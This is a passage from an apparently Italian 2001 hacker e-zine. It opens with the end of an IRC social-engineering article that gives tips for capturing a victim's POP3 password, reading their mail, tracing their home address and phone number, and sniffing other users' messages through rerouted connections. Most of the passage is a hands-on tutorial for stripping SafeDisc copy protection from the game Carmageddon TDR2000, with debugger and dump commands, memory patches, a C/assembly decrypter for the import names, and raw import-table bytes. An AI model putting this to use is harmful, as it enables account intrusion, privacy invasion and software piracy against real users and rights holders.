modo che essa riesca a fare login su di esso e vi fornisca in questo modo username e password. Spero che non serva che vi spieghi come utilizzarle =) Un paio di suggerimenti: una volta che avete l'userid e password del pop3 oltre a poter leggere la posta della vittima non vi sarà difficile risalire ai suoi dati (compresa città, via, numero di telefono, etc.), basterà visitare la pagina del suo provider e fare login nell'area membri. Alcuni consigli: Se fate del social engineering su IRC usate un sock in modo che la potenziale vittima non veda che l'ip address che gli state proponendo sia in realtà il vostro. Inoltre se dovete sniffare le query di una data persona non è necessario che reinstradiate la sua connessione ma potrete usare qualcun altro a tale scopo: reinstradare la connessione di qualcuno che notoriamente parla spesso con la persona che desiderate sniffare, in questo modo potrete in ogni caso ricevere i messaggi inviati da quest'ultimo. Come nell'esempio, è stato possibile sniffare i messaggi di Neu nonostante non fosse lui la vittima diretta della reindirizzazione. <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [CRACKiNG] #01 - 19/03/2001 | | ELIMINARE SAFEDISC r4 PER CARMAGEDDON TD3200 ... [-=AndreaGeddon=-] 0x0F/0x1A | +-------------------------------------------------------------------------------+ +----------------------------------------------------------------------------+ | COME ELIMINARE SAFEDISC r4 PER IL GIOCO CARMAGEDDON TD3200 | +--------------+-----------------------------------------+-------------------+ | Written by: AndreaGeddon [UIC] | \ / \_____________OndaQuadra______________/ Che dire, SafeDisc ormai è ben conosciuto. Con Carmageddon TDR2000 troviamo l'ultima versione del SafeDisc (nel momento in cui scrivo, ovvio), e devo dire che la IT è stata incasinata davvero bene. L'idea è sempre quella di usare il CD originale per decrittare le sezioni di codice e dati del relativo file .icd. La parte brutta verrà al momento di ripristinare la IT e IAT. ---------------------------------INTRO---------------------------------------- Il classico tipo di gioco che piace a me, dove la violenza gratuita viene premiata :-) Un pò di sana violenza. Che peccato che con la mia Savage4 ho un difetto: i pedoni sono invisibili :-( Brutti bastardi, non lo scrivono mica sulla confezione! Vabbè, almeno posso divertirmi con SafeDisc... ------------------------------TOOLS USATI------------------------------------- SoftIce FrogsIce IceDump un Peditor un HexEditor -------------------------NOTIZIE SUL PROGRAMMA-------------------------------- Il precedente Carmageddon aveva una vecchia versione di Safedisc, ora le cose sono cambiate. Per il decrypt delle sezioni di dati e codice non c'è problema. Per la IT invece la cosa si complica, perchè per poterla dumpare bisogna o modificare il loader per mettere nella IAT i giusti indirizzi (ma non è una buona soluzione), o vedere a mano come il Dplayer risolve le funzioni importate e calcolarsi a mano tutti i corretti valori per i moduli KERNEL32 e USER32 (quello che faremo). In particolare vedremo come bisogna decriptare gli OriginalFirstThunk per ricavarci i nomi delle funzioni (e quindi avere una IT valida), ed infine dovremo scrivere un call-fixer, visto che tramite la stessa call il programma richiama diverse API. ---------------------------------ESSAY---------------------------------------- Bene, iniziamo il nostro attacco. Prima di tutto individuiamo la protezione. Se diamo una occhiata nella directory principale del gioco troveremo i file TDR2000.exe, TDR2000.icd, DPLAYERX.dll, e altri tipici del SafeDisc. Ora possiamo saricarci l'ultimo un-safedisc di R!sc e decrittare il gioco con un click (bada che al momento in cui scrivo l'ultimo unsafedisc disponibile non funziona con questo gioco), oppure possiamo scegliere la via del manual unpacking, ed è proprio questo che faremo. Innanzitutto un paio di informazioni generali sul SafeDisc: il principale .exe (337 kb) è solo il loader, che si occupa di verificare la presenza del CD e di decriptare il file del gioco vero proprio: il file .icd (2.581 kb). Per decriptare il file .icd, il loader usa come parametro un valore letto dalla stringa di identificazione del CD-Rom. Tale stringa si trova in una parte non raggiungibile dal masterizzatore, quindi con un normale processo di masterizzazione non sarà possibile copiarla (almeno credo). Tuttavia la debolezza di questo sistema è che la stringa di identificazione è uguale per tutti i CD di Carmageddon TDR2000, infatti è impressa dalla casa che ha fabbricato il CDRom ed in genere è un codice identificativo della casa stessa. Basterebbe quindi trovare un CDRom vuoto fabbricato dalla stessa casa che ha fabbricato i CD per TDR2000, fare la copia... et voilà. Un gioco perfettamente funzionante anche con un Safedisc su cd masterizzato :-) Se non ci credete chiedetelo a Que, magari vi spedirà il suo NFS tarocco :-P. Cmq noi siamo qui per decrittarci manualmente il gioco. Come appena detto, la stringa di identificazione del CD originale costituisce un parametro indispensabile per il decrypt del file ICD, quindi senza il CD originale la cosa sarebbe mooolto dura. Ma voi direte: e allora come fa R!sc con i suoi UnSafedisc? Dipende dalle versioni, cmq si tratta essenzialmente di un BruteForcer. Noi però abbiamo il CD originale e non dobbiamo preoccuparci di tutto questo. E' ora di riscaldare il softice! Prima di tutto caricate IceDump, ci servirà per poterci dumpare tutto quello che vogliamo. Ora proviamo ad eseguire il gioco... Unload The Debugger Then Try Again. Suona come una minaccia. Vabbè, manco serve dirlo, caricate il FrogSice e avrete una preoccupazione in meno. Ora carichiamo il gioco e questo partirà. La prima cosa che dobbiamo fare è arrivare all'entry point del file ICD: quando ci saremo avremo una copia intatta delle sezioni codice e data già decrittate, quindi le dumperemo. Diamo un'occhiata al PE del file ICD, ecco le informazioni che dobbiamo tenere a mente: Entry Point: 0018CE7B (VA = 0058CE7B) +--------+--------------+----------------+----------+------------+ | NOME | VIRTUAL SIZE | VIRTUAL OFFSET | RAW SIZE | RAW OFFSET | +--------+--------------+----------------+----------+------------+ | .text | 001AD54D | 00001000 | 001AE000 | 00001000 | | .rdata | 00019E3D | 001AF000 | 0001A000 | 001AF000 | | .data | 000D0160 | 001C9000 | 00033000 | 001C9000 | | .rsrc | 0008879E | 0029A000 | 00089000 | 001FC000 | +--------+--------------+----------------+----------+------------+ visto che il VirtualOffset e il RawOffset della prima sezione coincidono possiamo considerare tutti gli RVA come VA - ImageBase (file alignment = 1000 -> allineamento perfetto) ed è quello che farò quando farò calcoli con valori vari. Questo ci renderà più semplici i calcoli, ma badate che non è sempre così. Non ho riportato le characteristics delle sezioni, cmq è facile intuire che la text è di codice, la rdata è quella che contiene la IAT, la data è la sezione dei dati e rsrc delle risorse. Ora se con un qualsiasi resource editor (io ho usato exescope) apriamo il file icd vediamo che tutte le risorse sono in chiaro, quindi tale sezione non è criptata. Le sezioni criptate saranno quindi la text e la data. Anche la rdata la dovremo modificare, ma questo sarà il passo finale del tutorial. Dobbiamo notare subito una cosa: la sezione data ha una discrepanza nel valore del VirtualSize e RawSize. Con un VirtualSize di D0160 e un FileAlignment a 1000 avremmo dovuto avere un RawSize di D1000, invece lo abbiamo a 33000. Cosa significa questo? Che la sezione data in memoria occupa molto più spazio di quanto non occupi nel file fisico. Questo ce lo dobbiamo ricordare quando andremo a dumpare la sezione data: dovremo stare attenti a dumpare solo i 33000 bytes che effettivamente sono presenti nel file fisico, infatti i rimanenti bytes verranno allocati a runtime, ma a quel punto la sezione data sarà stata modificata dal programma stesso e non ci sarà più utile. Bene, la nostra analisi iniziale è terminata, eravamo rimasti al punto di cercare l'EP originale del gioco. Sappiamo che l'EP sta a 0058CE7B, quindi o ci sobbarchiamo tuuutto il loader finchè dopo interminabili routines di decrypt ci porta all'EP, oppure ci arrangiamo qualche metodo. Ho provato con BPR ma a me non ha funzionato (forse perchè i processi del loader e dell'icd sono distinti), quindi ricorriamo a una leim maniera: facciamo partire il gioco e premiamo ctrl+d in continuazione. Ogni volta il softice ci apparirà in un processo, che può essere KERNEL, DPLAYER etc... dopo qualche tentativo dovremmo riuscire a beccare il processo del TDR2000. Nota: il processo dovrà essere quello del gioco e NON quello del loader. Per essere sicuri basta che prima di iniziare a breakare a caso aspettiate che il gioco mandi la scritta "caricamento in corso". Una volta che siete nel processo giusto, digitate: u 0058CE7B e nella finestra del codice vi apparirà la linea cercata. Se ci trovate tutti "INVALID" allora le pagine non sono ancora state caricate. Potremmo caricarle noi col PAGEIN, ma è meglio di no, quindi ritornate in esecuzione e continuate a breakare finchè oltre che arrivare al processo giusto troverete alla linea 0058CE7B non più "INVALID" ma tante belle istruzioni :-). In particolare dovrebbe iniziare con la classica struttura 0058CE7B PUSH EBP MOV EBP, ESP questo codice ha senso, quindi è già stato decrittato. Ora possiamo settarci un breakpoint semplicemente clickandoci sopra. Questo sarà il breakpoint sull' Original Entry Point del gioco, non cancellatelo mai, così ogni volta che vogliamo cominciare a esaminare il gioco non dobbiamo rifarci tutto il trafilo del break casuale. Adesso potete chiudere e riavviare il gioco, aspettate un pò e il softice breakerà sull'EP appena scoperto. Siamo all'inizio del programma, abbiamo le sezioni di dati e codice pronte pronte per essere dumpate. Ora tocca a IceDump (l'avete caricato vero?). Dumpiamoci le sezioni di codice, dati e rdata col comando dump: /DUMP 00401000 1AD54D c:\carma3.txt (-> sezione .text) /DUMP 005AF000 1A000 c:\carma3.rda (-> sezione .rdata) /DUMP 005C9000 33000 c:\carma3.dat (-> sezione .data) abbiamo su C:\ i tre file corrispondenti alle sezioni dumpate. Adesso li dobbiamo sostituire al programma originale, cioè al file .ICD. ATTENZIONE! Se avete dumpato la .text mentre il breakpoint sull'entry point era attivo otterrete un INT 3 sull'entry point al posto del PUSH EBP. Ricordatevi di rimetterlo a posto. Dunque prendiamo il file icd, copiamolo e rinominiamolo in cracked.exe (o quello che volete). Con un HexEditor e un semplice Copia/Incolla non vi sarà difficile sostituire le sezioni dumpate alle sezioni presenti. In particolare basta seguire la tabella precedente: la sezione text inizierà all'offset 1000, quindi selezionate 1AD54D bytes (tutti quelli della sezione esclusi gli zeri inseriti come padding), cancellateli e poi incollateci tutti bytes del file carma3.txt. Se alla fine il file non è correttamente allineato come prima allora avete sbagliato qualcosa. Cmq notate che gli zeri del padding non sono stati decriptati, il che ci fa pensare che non siano degli allocchi totali. Infatti alcuni crypter fanno lo sbaglio di cryptare anche gli zeri del padding, lasciandoci così visibile ad occhio nudo la mask utilizzata, che in caso di un algoritmo non troppo complesso ci può far capire come decriptare il file senza neanche ricorrere al softIce! Ma questa è un'altra storia. Cmq, ora abbiamo un file con le sezioni data e text corrette. Prima di sostituire anche la RDATA andiamo a disassemblare il file. Se avete fatto tutto correttamente vedrete che avrete le string & dialog references, e la sezione di codice presenta un codice sensato e non istruzioni sconnesse da ogni logica. Notate che anche le Import ci sono, e sono anche referenziate correttamente (cioè il disassemblatore le riconosce e hanno i giusti valori nella IT). Però non ci sono le import del Kernel32 e di User32. Male. Se sostituiamo la sezione .rdata e ridisassembliamo il file (ammazza quanto ci mette), adesso avremo sì le reference delle funzioni importate da Kernel e User, ma non sappiamo quali. Avremo solo una sfilza di KERNEL32.KERNEL32 e USER32.USER32 mmmm. Però almeno ora le funzioni ci sono, anche se non sappiamo quali. Rimane l'ultimo passo, riuscire a ricostruire la IT valida per queste import. In effetti non sarà molto facile. Prima di tutto andiamo a dare una occhiata ai descrittori della IT per i moduli KERNEL e USER. Ecco cosa troviamo: +---------------------+-----------------+-----------------+-------------+-------------------+ |Original First Thunk | Time Date Stamp | Forwarder Chain | Name RVA | First Thunk (IAT) | +---------------------+-----------------+-----------------+-------------+-------------------+ | 00 00 00 00 | B1 AB 46 35 | 00 00 F7 BF | 42 79 1C 00 | 8C F0 1A 00 | | 00 00 00 00 | A3 38 6E 35 | 00 00 F5 BF | 16 7D 1C 00 | 50 F2 1A 00 | +---------------------+-----------------+-----------------+-------------+-------------------+ attenti alla notazione intel: B1 AB 46 35 = 0x3546ABB1. La prima riga corrisponde a KERNEL e la seconda a USER, sono rispettivamente il 3° e 4° modulo importato, indi saranno il terzo e quarto descrittore nella struttura dei descrittori della IT (offset: 1C7248). Come vediamo il valore di OriginalFirstThunnk è zero per entrambi. Questo valore doveva contenere il puntatore ai nomi delle funzioni importate. Questo vuol dire che non ci sono i nomi?? NO!! Vuol dire che il puntatore è zero, ma l'array di strutture dei descrittori delle funzioni (HINT | NAME) deve esserci. Per vedere se c'è basta che andiamo a vedere dove sono storati tutti i nomi di funzioni importate. Basta infatti cercare gli OriginalFirstThunk degli altri moduli: quello che vedremo è che per i moduli noti i nomi di funzioni sono presenti, e in mezzo a questi ci sono delle zone di bytes sensa senso. Questi bytes sono i nomi delle funzioni che stiamo cercando, però sono criptati. Cmq se avete inserito la nuova sezione rdata troverete in fondo alla lista di tutti i nomi un'altra zona di bytes criptati, e anche questa è importante. Ora siamo proprio nel vivo dell'operazione: per capire in che modo vanno decrittati i nomi delle funzioni e come viene ottenuto l'entry point originale basta che spiamo il safedisc in esecuzione :-). Lanciamo il gioco, e se avete lasciato attivo il break sull' EP il softice breakerà. Saremo qui: 0058CE7B Entry Point un pò di codice 0058CEA1 CALL [005AF148] come vediamo abbiamo subito subito una call sospetta. Non è una call ad una delle funzioni note, altrimenti il disassembler l'avrebbe riconosciuta, quindi è una call del modulo KERNEL o USER. Bene arriviamoci sopra e steppiamoci dentro con F8. Ci porterà alla linea 00EBA688 xxx un pò di codice spazzatura 00EBA69A CALL [00EBA6C3] di nuovo una call sospetta. Stavolta ci manda nel processo del DPLAYERX.DLL alla linea 00973270. All'inizio avevo erroneamente pensato che questo codice del Dplayer fosse una funzione importata da TDR, solo che non vedendo il modulo dplayer nelle sue import ero andato in panico :-) La routine a cui siamo arrivati si occupa di: 1- Decriptare il nome della funzione chiamata 2- Fornire l'address dell'entry point di tale funzione 3- Tramite un RET saltare al codice della funzione (dopo aver ricriptato il nome della funzione) 4- Infine dalla funzione si torna al programma chiamante bello vero? Da vero bastardo prima decripta la funzione, poi con GetProcAddress ne ottiene l'address, quindi ricripta il nome della funzione, così dal processo del TDR2000 noi non vediamo niente e non ci rimane la IT bella decrittata e pronta per essere dumpata. A questo punto dobbiamo ingegnarci. Come vedremo tra poco basterà seguire il codice del processo del DPLAYER per vedere come decrittare i nomi delle funzioni (il che si riduce a uno xor di ogni byte con il byte precedente :-). Cmq nonostante vedremo come decrittarci a mano i dati, non possiamo mica starci a decrittare tutti i nomi di funzioni a mano! Potremmo proseguire l'analisi, arrivare al punto in cui i nomi vengono ri-criptati, e saltarlo, in modo da lasciare intatti tutti i nomi decriptati e dumparceli. Ovviamente non tutte le funzioni vengono chiamate (e quindi decrittate) a runtime, ma la maggior parte si, quindi quelle che rimarranno poi dovremmo comunque decriptarle a mano. Dico POTREMMO fare come appena detto, ma in realtà sarà più comodo scriverci un decrypter a mano. Lo vedremo tra poco. Voi direte: ma perchè tutto questo accanimento sui nomi delle funzioni? Non possiamo semplicemente sniffarci gli address degli entry point e schiaffarli nella IAT? Beh, questa non sarebbe una vera soluzione. Funzionerebbe sul vostro stesso computer, in quanto al 99% delle volte il windogs mappa sempre allo stesso address le API, però su un altro computer l'IAT non risulterebbe valida (a meno che pure quel computer allochi le API sempre allo stesso posto, ma è una probabilità abbastanza remota). Se invece otteniamo i nomi delle funzioni, possiamo ripristinare tutta la IT e possiamo anche fare a meno di aggiustare la IAT: il PE-Loader infatti userà gli OriginalFirstThuk per ottenere gli EP delle funzioni e sovrascriverli ai presenti FirstThunk (e quindi non ci frega se sono errati). Così avremmo un eseguibile perfettamente funzionante su qualsiasi computer. Bene, spostiamo l'analisi al DPLAYER e vediamo come funziona il tutto. Come noterete l'80% del codice è un inutile morphismo, quindi riporterò solo alcune linee, quelle più importanti. Bene, eravamo arrivati alla linea 00973270 del DPLAYER, quindi iniziamo l'analisi: 00972370 start ... 00973529 CALL 00972610 dopo questa call vi verrà restituito in eax l'address della funzione ... 00973582 CALL xxxxxxxxx questo vi fa uscire dal softice e continua l'esecuzione del programma fin qui ci siamo. La prima delle due call ci restituisce in eax (o edx) l'address dell'entry point della funzione che avrebbe dovuto essere stata chiamata da TDR2000, volendo potete fare D (o U) di tale valore per vedere che funzione è. Nel nostro caso (stiamo esaminando la prima funzione) dovrebbe essere GetVersion. Poi continuando ed eseguendo la seconda call riportata il programma continua l'esecuzione. Se provate a entrare nella seconda call, vedrete che dopo un pò di codice arrivate a un RET, solo che tale ret non vi riporta da dove venivate ma vi spedisce al codice della API. Quindi non ci rimane che esaminare la prima call per vedere come viene ottenuto l'address, e quindi come fa a ricavare il nome della funzione: 00976210 start ... 00972735 MOV EAX, [33E4558B] eax = puntatore al nome criptato (= edx) XOR EAX, EAX azzera eax MOV AL, [EDX] prende il char della funzione XOR ECX, ECX azzera ecx MOV CL, [00993E09] metti in CL la xormask XOR EAX, ECX xora il char con la xormask MOV EDX, [EBP - 04] prende una dword-xormask AND EDX, 000000FF tieni la parte bassa della xormask XOR EAX, EDX ri-xor che ci fa ottenere il carattere vero e proprio della funzione MOV ECX, [EBP - 1C] ecx = puntatore al nome funzione criptato MOV [ECX], AL ci inserisce il char decriptato ... 00972788 JNZ 0097272A loop per tutti i char del nome funzione ecco fatto, questo è il codice del decrypter per i nomi delle funzioni. A prima vista può sembrare un pò pesante la cosa, vedendo i due xor, ma non fatevi ingannare! In realtà l'algoritmo non fa altro che xorare ogni char criptato col precedente char criptato, e il primo char viene xorato sempre col valore 0x10. Intanto all'indirizzo che conteneva il nome criptato della funzione ora ci sarà il nome corretto (GetVersion per noi), poi se continuate l'esecuzione vedrete che passerete per un bel GetProcAddress! Questo serve per ottenere l'address della funzione a partire dal suo nome. Vedete infatti che restituisce l'address di GetVersion. Ora che l'address è stato ottenuto proseguiamo ancora e incapperemo nelle righe 00972914 ... 009729BD che rieffettuano il criptaggio del nome della funzione, così in memoria non avremo più "GetVersion", ma una sfilza di bytes insensati. Ora possiamo provare a modificare il DPLAYER per saltare la routine di re-crypt. Senza stare ad ammattire a decompilare il DPLAYER, possiamo fare le midifche in memoria. Infatti rilanciate il gioco, quando sarete all'entry point il processo del DPLAYER è già presente, quindi possiamo mettere un pò di JMP per far saltare il recrypt! Innanzitutto possiamo mettere un jump alla linea 00972914 EB 7F jmp 00972995 oops. Siccome EB considera il byte come signed, possiamo mettere un massimo di 7F per un jump in avanti, ma non ci basta per saltare tutta la routine (che finisce a 009729BD e la riga successiva che si serve è 009729C2). Siccome sono pigro e non avevo voglia di andare a cercare il jmp unsigned basta che facciamo la seguente modifica: 00972995 EB 2F jmp 009729C2 così ora tutta la routine viene saltata. Caspio, non è abbastanza! Se proseguiamo nel codice vediamo che il primo char del nome della funzione viene modificato, quindi dobbiamo fare la modifica: 009729EE 90 NOP 90 NOP ora lasciamo runnare il programma, e settiamo un BPX ExitProcess. Fatevi qualche giro con l'auto, schiacciate qualche pedone, quindi uscite dal gioco. Il softice breakerà di nuovo per tre volte. Arrivati alla terza volta saremo sull'exitprocess che chiuderà definitivamente tutto. Prima di eseguirlo dunque andiamo a cercare in memoria dove sono i nomi di funzione decriptati (intorno a 00FB7A04). Vediamo che molti nomi di funzioni sono stati decrittati, e alcuni no.Questo perchè sono API che potrebbero essere richiamate in condizioni particolari. Quindi abbiamo appurato che il decrypt per i nomi di funzioni è sempre uguale. Beh, se la IT non viene a AndreaGeddon allora AndreaGeddon va dalla IT :-). Ma si, che ci frega, abbiamo visto come decriptarci le funzioni, quindi in un modo o nell'altro le otterremo! Resta sempre il fatto che le funzioni sono in tutto 163. Azz, ci vorrà parecchio... perchè sprecare il nostro logoro cervellino quando abbiamo affianco un quadratino di silicio che può fare il lavoro al posto nostro e in una frazione di secondo ?! Mettiamo mano al compilatore (io ho usato il C per fare alla svelta), e pianifichiamo il lavoro. Innanzitutto vediamo come funziano le cose in dettaglio con un esempio: physical bytes: 57 32 46 05 6A 07 6A 0B 65 01 4D 24 4A 2F 6E 6E xor xor mask: 10 57 32 46 05 6A 07 6A 0B 65 01 4D 24 4A 2F 6E risultato: G e t C o m m a n d L i n e A 00 etc. etc. Nota che alla fine della funzione per ottenere 00 (il terminatore di stringa) dovete avere la ripetizione del char (6E 6E), quindi nella IT criptata ogni volta che vedete una doppia sapete che quella è la fine della funzione. RiNota che i descrittori per le funzioni sono formati nel modo seguente: +------------------+---------------------------+ | HINT | Function Name | +------------------+---------------------------+ quindi i primi due byte (del campo HINT) sono da escludere dal decrypting. Il primo byte va decriptato sempre col valore 10. Per esserci utile il nostro decripter ci dovrà prendere la IT criptata così com'è e restituirci un output decriptato da sostituire in blocco alla IT criptata. Quindi il file di input lo prevediamo contenente SOLO i nomi criptati delle funzioni. Ora abbiamo tutte le carte in regola per scrivere il nostro decrypter: ----------------------------------------begin of code----------------------------------------------------------- void CSafeDiscDlg::OnButton1() { HANDLE FileHandle, ResultHandle; char buffer[50000]; long toread = 50000; unsigned long letti, scritti; FileHandle = CreateFile("c:\\iat.iat", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (FileHandle != INVALID_HANDLE_VALUE) { if (ReadFile(FileHandle, &buffer, toread, &letti, NULL) != 0) { __asm { dec letti decrementa il numero di iterazioni (in asm il conteggio parte da 0!) xor ecx, ecx il nostro contatore xor eax, eax Ripeti: xor edx, edx mov esi, 0x10 mettiamo il valore di xor per il primo char in esi cmp ecx, letti abbiamo terminato? jge Terminato se si, salta lea ebx, [buffer] metti il buffer dei dati letti in ebx mov al, byte ptr [buffer+ecx] prendi il char attuale test al, al e controlla che non sia zero jnz TrovatoHint altrimenti incrementa il contatore inc ecx jmp Ripeti e controlla il prossimo char TrovatoHint: mov byte ptr [buffer+ecx], 0 inc ecx se il char non è zero, aumentiamo di 2 il buffer... mov byte ptr [buffer+ecx], 0 inc ecx e azzeriamo i due byte corrispondenti all'hint NomeDecr: mov al, byte ptr [buffer+ecx] prendi il char mov edi, eax salvalo per il prossimo ciclo di xor xor eax, esi decrypt! test eax, eax se è zero abbiamo raggiunto il terminatore jnz NoFlag quindi... mov dl, 01 settiamo dl a 1 NoFlag: mov esi, edi prepara il prossimo valore di xor mov byte ptr [buffer+ecx], al sostituisci il byte decrittato a quello crittato inc ecx vai al prossimo char cmp ecx, letti abbiamo trattato tutti i char? jge Terminato se si, esci cmp dl, 01 siamo arrivati alla fine della funzione? jz Ripeti se si, ricomincia la ricerca di 00 jmp NomeDecr altrimenti continua e decritta il byte successivo Terminato: nop oops questo lo avevo lasciato per debug :-) } ResultHandle = CreateFile("c:\\iat2.iat", GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (ResultHandle != INVALID_HANDLE_VALUE) { letti++; WriteFile(ResultHandle, &buffer, letti, &scritti, NULL); MessageBox("File Decriptato", "Enjoy!", MB_ICONASTERISK); } else MessageBox("Impossibile scrivere su iat2.iat: file già esistente?", "Errore", MB_ICONHAND); } else MessageBox("Impossibile leggere dal file", "Errore", MB_ICONHAND); } else MessageBox("c:\\iat.iat non trovato", "Errore", MB_ICONHAND); CloseHandle(FileHandle); } ----------------------------------------end of code------------------------------------------------------------- come al solito ho usato MFC, ma il codice lo potete riadattare facilmente a qualsiasi compilatore. La parte in C non necessita spiegazioni, la parte asm invece è debitamente commentata. Il programma prende in inputil file "c:\iat.iat", lo decripta, e restituisce l'output in "c:\iat2.iat". Nota che se iat2.iat esiste già il file non verrà sovrascritto. Bene. Ora scriviamoci il nostro file. Andiamo nella IT fisica, e scegliamoci i byte che ci servono. Basta che diamo una raw-occhiata e troviamo che i nomi delle funzioni partono da 001C77F8. Proseguendo a 001C783E abbiamo il primo blocco criptato (fino a 001C7941). E questa sarà una porzione da inserire in iat.iat. Poi a 001C7950 inizia il secondo blocco di funzioni criptate, fino a 001C7D15. In fondo troveremo il terzo blocco, da 001C8722 a 001C8D92. Ecco i pacchi che dobbiamo inserire nell'iat.iat. Con un semplice copia incolla abbiamo il file pronto per il decrypter. Per comodità possiamo separare i tre blocchi da qualche riga di 00, tanto il parser del decrypter non considera gli zeri. Eseguiamo il crypter... Tadààààà. Fatto. In iat2.iat abbiamo tutti i nostri bei nomi di funzione! Ora li possiamo prendere in blocco e sostituire alla IT criptata. Bada che il lavoro non è affatto finito! Vi ricordate gli 00000000 del campo OriginalFirstThunk? Questo campo doveva puntare a un array di dwords, ognuna delle quali è un puntatore all' HINT - NOME FUNZIONE. Ora se cerchiamo gli OriginalFirstThunnk del primo descrittore (001C73A8), li troviamo, quindi è lì che sono tutti ammatassati. Scorriamo un pò i dati... voilà. Da 1C73EC inizia un graande spazio di 00000000 fino a 1C7584 che è la NULL-DWORD terminatrice dell'elenco. Qualche riga dopo abbiamo l'altro spazio vuoto (a 001C75B0). Questi vuoti andranno riempiti con tante dword contenenti l'indirizzo di ogni funzione! E gli HINT? Ache quelli sono sbagliati! Teoricamente non dovrebbero esserci problemi però, perchè gli hint vengono usati per cercare le funzioni tramite il loro ordinale, e quindi più velocemente; l'assenza degli hint costringe il PEloader a cercarsi gli entry point delle funzioni by name only, che è una scelta meno efficiente, ma del resto chissenefrega! Se volete potete aggiustarveli a mano tutti gli hint, io non ci tengo :-P. Quindi abbiamo fatto in modo che il nostro decrypter azzerasse i due bytes degli hint. Rimane da risolvere l'array di descrittori per OriginalFirstThunk. Bene! Anzi, male! Vorrei dirvi che ci sono i Rebuilder che lo fanno in automatico, ma non è così :-(. A dire la verità ho provato solo col Rebuilder del PEditor, e non ha funzionato, ma, come si dice, se vuoi una cosa fatta bene.... fattela da solo! Quindi prendiamo carta e penna, iniziamo a guardare i nomi di funzioni che abbiamo decrittati, e troviamoci il loro rispettivo rva. Attenzione che qui il lavoro è abbastanza delicato! Infatti gli indirizzi della IAT sono disposti con un diverso ordine rispetto a quelli della IT. Mi spiego meglio. Nella ImportTable cerchiamo il primo nome di funzione decrittato da noi (in pratica iat2.iat), e troviamo il nome GetCurrentDirectoryA. Andiamo nella IAT, cerchiamo la IAT (1AF08C per KERNEL32), e troviamo l'rva 00EB03AF. Ora andiamo ad eseguire il programma originale, settiamo un break sull'entry point, arriviamo alla prima call (che punterà alla dword 00EBA688), la sostituiamo con 00EB03AF e la tracciamo con F8. Seguiamo il trafiletto del dplayer ed arriviamo all'entry point di GetWindowsDirectoryA! Quindi GetCurrentDirectoryA != GetWindowsDirectoryA e quindi non cè corrispondenza diretta tra gli OriginalFirstThunk e i FirstThunk. Quindi che ci tocca fa? Dobbiamo copiarci a mano tutti i puntatori del tipo "00EBxxxx" e vedere a quale funzione ci porta ognuno! Se avete un amico o un fratellino da schiavizzare non ci vorrà molto: settate un break sull'EP del gioco originale, arrivati alla prima call di volta in volta sostituite il valore puntato da 005AF148 (che inizialmente punta a 00EBA688) con il puntatore che volete determinare (ad esempio il secondo 00EB0726) e poi steppate in dplayer come abbiamo visto prima fino ad arrivare al RET che ci manda sull'EP della funzione. Su tale ret mettete un break, così poi vi basterà fare F10 per finire nella funzione (per il secondo puntatore è la func GetOemCp),e così via per tutti i puntatori. Una volta che per ogni indirizzo 00EBxxxx abbiamo ottenuto la corrispondente funzione, ADESSO possiamo tornare al lavoro di prima: nell'array degli OriginalFirstThunk sostituiamo tutti gli EBxxxx con i puntatori all'offset della funzione corrispondente. UPDATE Come vedremo più tardi usare la prima call dopo l'entry point non va bene perchè le chiamate alle api sono determinate in base al caller address, quindi ho dovuto riscrivere la iat cercando le call di ogni api nel codice e chiamandole dalla loro posizione originaria quando possibile. La tabella degli OrigialFirstThunk qui sotto cmq è corretta. FINE UPDATE Es: 3° puntatore: 00EB0A9D corrisponde a GetCurrentProcess quindi l'offset del suo name sarà: 1C88D6 e così via per TUTTE le funzioni. Badate che il puntatore al nome della funzione inizia DUE bytes prima del nome ascii (hint + name). Siccome so che siete pigri vi dò i descrittori che ho trovato io: PRIMO BLOCCO: 2A 79 1C 00 CC 8C 1C 00 D6 88 1C 00 C2 8C 1C 00 B4 88 1C 00 A0 88 1C 00 C8 88 1C 00 7C 88 1C 00 68 88 1C 00 8C 88 1C 00 46 88 1C 00 30 88 1C 00 52 88 1C 00 14 88 1C 00 FA 87 1C 00 DE 87 1C 00 D2 87 1C 00 EC 87 1C 00 B2 87 1C 00 A2 87 1C 00 C4 87 1C 00 86 87 1C 00 6E 87 1C 00 96 87 1C 00 3A 87 1C 00 22 87 1C 00 52 87 1C 00 D8 8C 1C 00 EA 88 1C 00 FC 88 1C 00 0C 89 1C 00 18 89 1C 00 2A 89 1C 00 42 89 1C 00 5A 89 1C 00 6C 89 1C 00 78 89 1C 00 92 89 1C 00 A2 89 1C 00 BC 89 1C 00 D4 89 1C 00 EA 89 1C 00 02 8A 1C 00 1C 8A 1C 00 28 8A 1C 00 3A 8A 1C 00 4C 8A 1C 00 5E 8A 1C 00 6C 8A 1C 00 7A 8A 1C 00 A2 8A 1C 00 8E 8A 1C 00 0A 8D 1C 00 F8 8C 1C 00 E4 8A 1C 00 50 8D 1C 00 1E 79 1C 00 0A 79 1C 00 FC 78 1C 00 EC 78 1C 00 DE 78 1C 00 12 8B 1C 00 22 8B 1C 00 D8 8A 1C 00 CE 78 1C 00 BE 78 1C 00 A8 78 1C 00 92 78 1C 00 7E 78 1C 00 76 78 1C 00 66 78 1C 00 56 78 1C 00 3E 78 1C 00 98 8C 1C 00 40 8D 1C 00 2E 8D 1C 00 1C 8D 1C 00 06 8B 1C 00 F0 8A 1C 00 E8 8C 1C 00 CA 8A 1C 00 BC 8A 1C 00 B6 8C 1C 00 A8 8C 1C 00 B8 8B 1C 00 86 8C 1C 00 6C 8C 1C 00 54 8C 1C 00 3A 8C 1C 00 20 8C 1C 00 04 8C 1C 00 E6 8B 1C 00 D6 8B 1C 00 C6 8B 1C 00 6C 8B 1C 00 AA 8B 1C 00 9C 8B 1C 00 88 8B 1C 00 7C 8B 1C 00 5C 8B 1C 00 46 8B 1C 00 30 8B 1C 00 SECONDO BLOCCO: B2 79 1C 00 C6 79 1C 00 D8 79 1C 00 20 7C 1C 00 FE 79 1C 00 EC 79 1C 00 A4 79 1C 00 0E 7A 1C 00 50 79 1C 00 1A 7A 1C 00 2E 7A 1C 00 3E 7A 1C 00 4C 7A 1C 00 5C 7A 1C 00 0C 7D 1C 00 FA 7C 1C 00 EA 7C 1C 00 DE 7C 1C 00 D2 7C 1C 00 BA 7C 1C 00 A8 7C 1C 00 